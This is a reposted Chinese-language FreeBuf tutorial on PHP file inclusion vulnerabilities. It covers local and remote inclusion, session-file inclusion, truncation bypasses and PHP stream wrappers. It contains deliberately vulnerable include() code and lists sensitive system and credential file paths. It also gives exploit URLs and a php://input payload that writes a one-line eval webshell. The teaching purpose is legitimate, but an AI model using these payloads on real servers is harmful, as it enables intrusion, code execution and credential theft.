1. 程式人生 > 實用技巧 >web檔案包含

web檔案包含

web安全~檔案包含總結

文章來自freebuf,作者總結的很好,所以拿來做筆記用!!!

0×01 檔案包含簡介

伺服器執行PHP檔案時,可以通過檔案包含函式載入另一個檔案中的PHP程式碼,並且當PHP來執行,這會為開發者節省大量的時間。這意味著您可以建立供所有網頁引用的標準頁首或選單檔案。當頁首需要更新時,您只更新一個包含檔案就可以了,或者當您向網站新增一張新頁面時,僅僅需要修改一下選單檔案(而不是更新所有網頁中的連結)。

檔案包含函式

PHP中檔案包含函式有以下四種:

require()

require_once()

include()

include_once()

include

require區別主要是,include在包含的過程中如果出現錯誤,會丟擲一個警告,程式繼續正常執行;而require函數出現錯誤的時候,會直接報錯並退出程式的執行。

include_once()require_once()這兩個函式,與前兩個的不同之處在於這兩個函式只包含一次,適用於在指令碼執行期間同一個檔案有可能被包括超過一次的情況下,你想確保它只被包括一次以避免函式重定義,變數重新賦值等問題。

漏洞產生原因

檔案包含函式載入的引數沒有經過過濾或者嚴格的定義,可以被使用者控制,包含其他惡意檔案,導致了執行了非預期的程式碼。

示例程式碼

<?php
    $filename  = $_GET['filename'];
    include($filename);
?>

例如:

$_GET['filename']引數開發者沒有經過嚴格的過濾,直接帶入了include的函式,攻擊者可以修改$_GET['filename']的值,執行非預期的操作。

0×02 本地檔案包含漏洞

無限制本地檔案包含漏洞

測試程式碼:

<?php
    $filename  = $_GET['filename'];
    include($filename);
?>

測試結果:

通過目錄遍歷漏洞可以獲取到系統中其他檔案的內容:

常見的敏感資訊路徑:

Windows系統

c:\boot.ini // 檢視系統版本

c:\windows\system32\inetsrv\MetaBase.xml // IIS配置檔案

c:\windows\repair\sam // 儲存Windows系統初次安裝的密碼

c:\ProgramFiles\mysql\my.ini // MySQL配置

c:\ProgramFiles\mysql\data\mysql\user.MYD // MySQL root密碼

c:\windows\php.ini // php 配置資訊

Linux/Unix系統

/etc/passwd // 賬戶資訊

/etc/shadow // 賬戶密碼檔案

/usr/local/app/apache2/conf/httpd.conf // Apache2預設配置檔案

/usr/local/app/apache2/conf/extra/httpd-vhost.conf // 虛擬網站配置

/usr/local/app/php5/lib/php.ini // PHP相關配置

/etc/httpd/conf/httpd.conf // Apache配置檔案

/etc/my.conf // mysql 配置檔案

session檔案包含漏洞

利用條件:

session的儲存位置可以獲取。

1. 通過phpinfo的資訊可以獲取到session的儲存位置。

通過phpinfo的資訊,獲取到session.save_path為/var/lib/php/session:

2. 通過猜測預設的session存放位置進行嘗試。

如linux下預設儲存在/var/lib/php/session目錄下:

session中的內容可以被控制,傳入惡意程式碼。

示例:

<?php

session_start();

$ctfs=$_GET['ctfs'];

$_SESSION["username"]=$ctfs;

?>

漏洞分析

此php會將獲取到的GET型ctfs變數的值存入到session中。

當訪問http://www.ctfs-wiki/session.php?ctfs=ctfs後,會在/var/lib/php/session目錄下儲存session的值。

session的檔名為sess_+sessionid,sessionid可以通過開發者模式獲取。

所以session的檔名為sess_akp79gfiedh13ho11i6f3sm6s6。

到伺服器的/var/lib/php/session目錄下檢視果然存在此檔案,內容為:

username|s:4:"ctfs";

[root@c21336db44d2 session]# cat sess_akp79gfiedh13ho11i6f3sm6s6

username|s:4:"ctfs"

漏洞利用

通過上面的分析,可以知道ctfs傳入的值會儲存到session檔案中,如果存在本地檔案包含漏洞,就可以通過ctfs寫入惡意程式碼到session檔案中,然後通過檔案包含漏洞執行此惡意程式碼getshell。

當訪問http://www.ctfs-wiki/session.php?ctfs=<?php phpinfo();?>後,會在/var/lib/php/session目錄下儲存session的值。

[root@6da845537b27 session]# cat sess_83317220159fc31cd7023422f64bea1a

username|s:18:"<?php phpinfo();?>";

攻擊者通過phpinfo()資訊洩露或者猜測能獲取到session存放的位置,檔名稱通過開發者模式可獲取到,然後通過檔案包含的漏洞解析惡意程式碼getshell。

有限制本地檔案包含漏洞繞過

%00截斷

條件:magic_quotes_gpc = Off php版本<5.3.4

測試程式碼:

<?php
    $filename  = $_GET['filename'];
    include($filename . ".html");
?>

測試結果:

http://www.ctfs-wiki.com/FI/FI.php?filename=../../../../../../../boot.ini%00

路徑長度截斷

條件:windows OS,點號需要長於256;linux OS 長於4096

Windows下目錄最大長度為256位元組,超出的部分會被丟棄;

Linux下目錄最大長度為4096位元組,超出的部分會被丟棄。

測試程式碼:

<?php
    $filename  = $_GET['filename'];
    include($filename . ".html");
?>

EXP:

http://www.ctfs-wiki.com/FI/FI.php?filename=test.txt/./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././

點號截斷

條件:windows OS,點號需要長於256

測試程式碼:

<?php
    $filename  = $_GET['filename'];
    include($filename . ".html");
?>

EXP:

http://www.ctfs-wiki.com/FI/FI.php
?filename=test.txt.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

0×03 遠端檔案包含漏洞

PHP的配置檔案allow_url_fopen和allow_url_include設定為ON,include/require等包含函式可以載入遠端檔案,如果遠端檔案沒經過嚴格的過濾,導致了執行惡意檔案的程式碼,這就是遠端檔案包含漏洞。

allow_url_fopen = On(是否允許開啟遠端檔案)

allow_url_include = On(是否允許include/require遠端檔案)

無限制遠端檔案包含漏洞

測試程式碼:

<?php
    $filename  = $_GET['filename'];
    include($filename);
?>

通過遠端檔案包含漏洞,包含php.txt可以解析。

http://www.ctfs-wiki.com/FI/FI.php?filename=http://192.168.91.133/FI/php.txt

測試結果:

有限制遠端檔案包含漏洞繞過

測試程式碼:

<?php include($_GET['filename'] . ".html"); ?>

程式碼中多添加了html字尾,導致遠端包含的檔案也會多一個html字尾。

問號繞過

http://www.ctfs-wiki.com/FI/WFI.php?filename=http://192.168.91.133/FI/php.txt?

#號繞過

http://www.ctfs-wiki.com/FI/WFI.php?filename=http://192.168.91.133/FI/php.txt%23

還有哪些可以繞過?用burp跑一遍發現空格也可以繞過:

http://www.ctfs-wiki.com/FI/WFI.php?filename=http://192.168.91.133/FI/php.txt%20

0×04 PHP偽協議

PHP 帶有很多內建 URL 風格的封裝協議,可用於類似 fopen()、 copy()、 file_exists() 和 filesize() 的檔案系統函式。 除了這些封裝協議,還能通過 stream_wrapper_register() 來註冊自定義的封裝協議。

目錄

php:// 輸入輸出流

PHP 提供了一些雜項輸入/輸出(IO)流,允許訪問 PHP 的輸入輸出流、標準輸入輸出和錯誤描述符, 記憶體中、磁碟備份的臨時檔案流以及可以操作其他讀取寫入檔案資源的過濾器。

php://filter(本地磁碟檔案進行讀取)

元封裝器,設計用於”資料流開啟”時的”篩選過濾”應用,對本地磁碟檔案進行讀寫。

用法:?filename=php://filter/convert.base64-encode/resource=xxx.php ?filename=php://filter/read=convert.base64-encode/resource=xxx.php 一樣。

條件:只是讀取,需要開啟 allow_url_fopen,不需要開啟 allow_url_include;

測試程式碼:

<?php
    $filename  = $_GET['filename'];
    include($filename);
?>

php://input

可以訪問請求的原始資料的只讀流。即可以直接讀取到POST上沒有經過解析的原始資料。 enctype=”multipart/form-data” 的時候 php://input 是無效的。

用法:?file=php://input 資料利用POST傳過去。

php://input (讀取POST資料)

碰到file_get_contents()就要想到用php://input繞過,因為php偽協議也是可以利用http協議的,即可以使用POST方式傳資料,具體函式意義下一項;

測試程式碼:

<?php
    echo file_get_contents("php://input");
?>

測試結果:

php://input(寫入木馬)

測試程式碼:

<?php
    $filename  = $_GET['filename'];
    include($filename);
?>

條件:php配置檔案中需同時開啟 allow_url_fopen 和 allow_url_include(PHP < 5.3.0),就可以造成任意程式碼執行,在這可以理解成遠端檔案包含漏洞(RFI),即POST過去PHP程式碼,即可執行。

如果POST的資料是執行寫入一句話木馬的PHP程式碼,就會在當前目錄下寫入一個木馬。

<?PHP fputs(fopen('shell.php','w'),'<?php @eval($_POST[cmd])?>');?>

測試結果:

如果不開啟allow_url_include會報錯:

php://input(命令執行)

測試程式碼:

<?php
    $filename  = $_GET['filename'];
    include($filename);
?>

條件:php配置檔案中需同時開啟 allow_url_fopen 和 allow_url_include(PHP < 5.30),就可以造成任意程式碼執行,在這可以理解成遠端檔案包含漏洞(RFI),即POST過去PHP程式碼,即可執行;

如果不開啟allow_url_include會報錯:

file://偽協議 (讀取檔案內容)

通過file協議可以訪問本地檔案系統,讀取到檔案的內容

測試程式碼:

<?php
    $filename  = $_GET['filename'];
    include($filename);
?>

data://偽協議

資料流封裝器,和php://相似都是利用了流的概念,將原本的include的檔案流重定向到了使用者可控制的輸入流中,簡單來說就是執行檔案的包含方法包含了你的輸入流,通過你輸入payload來實現目的; data://text/plain;base64,dGhlIHVzZXIgaXMgYWRtaW4

data://(讀取檔案)

和php偽協議的input類似,碰到file_get_contents()來用; <?php // 列印 “I love PHP” echo file_get_contents(‘data://text/plain;base64,SSBsb3ZlIFBIUAo=’); ?>

注意:<span style="color: rgb(121, 121, 121);"><?php phpinfo();,這類執行程式碼最後沒有?></span>閉合;

如果php.ini裡的allow_url_include=On(PHP < 5.3.0),就可以造成任意程式碼執行,同理在這就可以理解成遠端檔案包含漏洞(RFI) 測試程式碼:

<?php
    $filename  = $_GET['filename'];
    include($filename);
?>

phar://偽協議

這個引數是就是php解壓縮包的一個函式,不管字尾是什麼,都會當做壓縮包來解壓。

用法:?file=phar://壓縮包/內部檔案 phar://xxx.png/shell.php 注意: PHP > =5.3.0 壓縮包需要是zip協議壓縮,rar不行,將木馬檔案壓縮後,改為其他任意格式的檔案都可以正常使用。 步驟: 寫一個一句話木馬檔案shell.php,然後用zip協議壓縮為shell.zip,然後將字尾改為png等其他格式。

測試程式碼:

<?php
    $filename  = $_GET['filename'];
    include($filename);
?>

zip://偽協議

zip偽協議和phar協議類似,但是用法不一樣。

用法:?file=zip://[壓縮檔案絕對路徑]#[壓縮檔案內的子檔名] zip://xxx.png#shell.php。

條件: PHP > =5.3.0,注意在windows下測試要5.3.0<PHP<5.4 才可以 #在瀏覽器中要編碼為%23,否則瀏覽器預設不會傳輸特殊字元。

測試程式碼:

<?php
    $filename  = $_GET['filename'];
    include($filename);
?>

*本文作者:山東安雲,來自FreeBuf.COM

https://www.freebuf.com/articles/web/182280.html